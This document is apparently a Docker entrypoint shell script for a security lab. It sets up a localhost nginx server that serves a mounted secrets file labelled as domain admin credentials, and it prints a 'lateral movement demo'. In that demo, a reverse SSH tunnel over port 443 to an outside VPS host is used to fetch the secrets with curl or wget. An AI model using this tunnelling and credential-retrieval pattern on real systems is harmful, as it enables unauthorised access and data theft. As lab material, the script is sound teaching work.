#!/bin/sh # Don't use set -e as we want to continue even if some commands fail # Force use of public DNS servers to avoid Docker DNS cache issues # Docker's DNS (192.168.65.7) may cache NXDOMAIN responses # Using public DNS ensures fresh lookups cat > /etc/resolv.conf </dev/null 2>&1; then echo "Warning: DNS resolution test failed. DNS may not be working properly." fi # Clear DNS cache if nscd is available if command -v nscd >/dev/null 2>&1; then nscd -i hosts 2>/dev/null || true nscd -i passwd 2>/dev/null || true nscd -i group 2>/dev/null || true fi # Force DNS refresh by clearing any local DNS cache # This ensures subdomain resolution works immediately if [ -f /etc/nsswitch.conf ]; then # Ensure hosts: files dns is set for proper DNS resolution if ! grep -q "^hosts:.*dns" /etc/nsswitch.conf 2>/dev/null; then sed -i 's/^hosts:.*/hosts: files dns/' /etc/nsswitch.conf 2>/dev/null || true fi fi # Test DNS resolution for common domains to verify DNS is working echo "Testing DNS resolution..." if nslookup google.com >/dev/null 2>&1; then echo "DNS resolution: OK (using 8.8.8.8, 1.1.1.1)" else echo "WARNING: DNS resolution test failed" fi # Function to start nginx HTTP server start_http_server() { if command -v nginx >/dev/null 2>&1; then # Create web root directory mkdir -p /var/www/html # Create nginx configuration for port 8888 # Create sites-available directory if it doesn't exist mkdir -p /etc/nginx/sites-available /etc/nginx/sites-enabled # Create a minimal nginx config that works # Use default_server to ensure it's used cat > /etc/nginx/sites-available/lab-server <<'NGINX' server { listen 127.0.0.1:8888 default_server; server_name localhost; root /var/www/html; index index.html; access_log /var/log/nginx/lab-access.log; error_log /var/log/nginx/lab-error.log; # Ensure we can serve files location / { try_files $uri $uri/ =404; } # Serve secrets.txt as plain text location /secrets.txt { default_type text/plain; try_files $uri =404; } } NGINX # Enable the site ln -sf /etc/nginx/sites-available/lab-server /etc/nginx/sites-enabled/ rm -f /etc/nginx/sites-enabled/default # Ensure nginx main config includes sites-enabled # Ubuntu nginx-light should already have this, but verify and fix if needed if ! grep -q "include.*sites-enabled" /etc/nginx/nginx.conf 2>/dev/null; then # Backup original config cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 2>/dev/null || true # Add include directive in http block sed -i '/^[[:space:]]*http[[:space:]]*{/,/^[[:space:]]*}/ { /^[[:space:]]*include[[:space:]]*\/etc\/nginx\/sites-enabled/! { /^[[:space:]]*include[[:space:]]*mime.types/a\ include /etc/nginx/sites-enabled/*; } }' /etc/nginx/nginx.conf 2>/dev/null || \ sed -i '/include.*mime.types/a\ include /etc/nginx/sites-enabled/*;' /etc/nginx/nginx.conf 2>/dev/null || true fi # Create admin page cat > /var/www/html/index.html <<'HTML' Lab Admin Panel

Lab Admin Panel

System Information

Server: SSLH Multiplex Lab - Client Container

Access: Localhost only (via reverse SSH tunnel)

Purpose: Lateral movement demonstration

Available Resources

This server is accessible only through the reverse SSH tunnel established from the container.

View Secrets File

Lateral Movement Demo

This demonstrates accessing container resources from a compromised VPS:

  1. Establish reverse tunnel: ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.domain.com -p 443
  2. From VPS, access: curl http://localhost:2222/secrets.txt
  3. Or browse: curl http://localhost:2222/
HTML # Copy secrets.txt to web root if [ -f /secrets.txt ]; then cp /secrets.txt /var/www/html/secrets.txt else echo "File not found - secrets.txt should be mounted" > /var/www/html/secrets.txt fi # Start nginx on port 8888 echo "Starting nginx on port 8888..." # Create nginx log directory if it doesn't exist mkdir -p /var/log/nginx chown -R www-data:www-data /var/log/nginx 2>/dev/null || chown -R nginx:nginx /var/log/nginx 2>/dev/null || true # Ensure nginx can write to log directory chmod 755 /var/log/nginx 2>/dev/null || true # Kill any existing nginx processes pkill -9 nginx 2>/dev/null || true sleep 1 # Test nginx configuration nginx -t >/tmp/nginx-test.log 2>&1 TEST_RESULT=$? if [ $TEST_RESULT -ne 0 ]; then echo "ERROR: nginx configuration test failed" cat /tmp/nginx-test.log echo " Main config:" cat /etc/nginx/nginx.conf | head -30 echo " Site config:" cat /etc/nginx/sites-available/lab-server return 1 fi echo " Nginx configuration test passed" # Start nginx as daemon # Redirect stderr to capture any startup errors nginx 2>/tmp/nginx-start-err.log || { echo "ERROR: nginx failed to start (exit code: $?)" cat /tmp/nginx-start-err.log 2>/dev/null || true cat /var/log/nginx/error.log 2>/dev/null || true return 1 } # Wait for nginx to fully start and verify it's running for i in 1 2 3 4 5; do if pgrep -x nginx >/dev/null 2>&1; then break fi if [ $i -eq 5 ]; then echo "ERROR: nginx process not found after start attempts" cat /tmp/nginx-start-err.log 2>/dev/null || true cat /var/log/nginx/error.log 2>/dev/null || true return 1 fi sleep 1 done echo " Nginx process started (PID: $(pgrep -x nginx | head -1))" # Wait a bit more for nginx to fully initialize and bind to port sleep 2 # Verify nginx master and worker processes NGINX_COUNT=$(pgrep -x nginx | wc -l) if [ "$NGINX_COUNT" -lt 2 ]; then echo " WARNING: Only $NGINX_COUNT nginx process(es) found (expected at least 2: master + worker)" fi # Verify it's listening on port 8888 LISTENING=0 if command -v ss >/dev/null 2>&1; then if ss -ln 2>/dev/null | grep -q ":8888"; then LISTENING=1 fi elif command -v netstat >/dev/null 2>&1; then if netstat -ln 2>/dev/null | grep -q ":8888"; then LISTENING=1 fi fi if [ "$LISTENING" -eq 1 ]; then echo "HTTP server (nginx) started on 127.0.0.1:8888" echo " Admin page: http://127.0.0.1:8888/" echo " Secrets: http://127.0.0.1:8888/secrets.txt" # Test that it actually responds with retries if command -v curl >/dev/null 2>&1; then RESPONDING=0 for i in 1 2 3; do HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://127.0.0.1:8888/ 2>/dev/null || echo "000") if echo "$HTTP_CODE" | grep -qE "200|404"; then RESPONDING=1 echo " Verified: Server responding correctly (HTTP $HTTP_CODE)" break fi sleep 1 done if [ "$RESPONDING" -eq 0 ]; then echo " WARNING: Server listening but not responding to HTTP requests" echo " Test: curl -v http://127.0.0.1:8888/" fi fi return 0 else echo "WARNING: nginx is running but not listening on port 8888" echo " Process status:" pgrep -a nginx || true echo " Listening ports:" (ss -ln 2>/dev/null || netstat -ln 2>/dev/null) | grep -E "(8888|LISTEN)" || true echo " Error log:" tail -30 /var/log/nginx/error.log 2>/dev/null || cat /tmp/nginx.log 2>/dev/null || true return 1 fi else echo "ERROR: nginx not available" return 1 fi } # Start lightweight HTTP server on localhost:8888 # This serves a demo admin page and secrets.txt via reverse tunnel # Only accessible through reverse SSH tunnel (doesn't bypass network restrictions) # Ensure secrets.txt exists if [ ! -f /secrets.txt ]; then echo "WARNING: /secrets.txt not found, creating placeholder" echo "File not found - secrets.txt should be mounted" > /secrets.txt fi # Start the HTTP server (nginx) echo "Starting HTTP server (nginx)..." if start_http_server; then echo "HTTP server ready for reverse tunnel access" else echo "ERROR: Failed to start HTTP server" echo " Check logs: cat /var/log/nginx/error.log" echo " Check nginx config: nginx -t" echo " Check if port is in use: ss -ln | grep 8888" fi # Display connection examples cat < -p 443 WireGuard configs are available in /wireguard/ SSH keys are available in /keys/ Domain admin credentials are available in /secrets.txt Lateral Movement Demo: - Establish SSH reverse shell to VPS: ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.chaosengineering.cc -p 443 - Keep that SSH session open (the tunnel stays active while connected) - From the VPS shell: * View admin page: curl http://127.0.0.1:2222/ (or http://localhost:2222/) * Retrieve secrets: curl http://127.0.0.1:2222/secrets.txt > /tmp/secrets.txt * Or: wget http://127.0.0.1:2222/secrets.txt -O /tmp/secrets.txt - The HTTP server listens on 127.0.0.1:8888 and is only accessible via reverse tunnel - This demonstrates lateral movement: accessing container resources from compromised VPS - Note: The reverse tunnel must stay active (keep SSH session open) Troubleshooting: - Verify server is running: ps aux | grep nginx - Check if listening: ss -ln | grep 8888 (or: netstat -ln | grep 8888) - Test from container: curl http://127.0.0.1:8888/ or curl http://127.0.0.1:8888/secrets.txt - Check server logs: cat /var/log/nginx/error.log - Check nginx config: nginx -t - Verify reverse tunnel: On VPS, check if port 2222 is listening: ss -ln | grep 2222 - If tunnel fails: Check VPS SSH config allows GatewayPorts (default: no, but localhost binding should work) - Alternative syntax (if above fails): ssh -R 2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443 - Debug tunnel: Add -v flag to SSH: ssh -v -R 127.0.0.1:2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443 EOF exec "$@"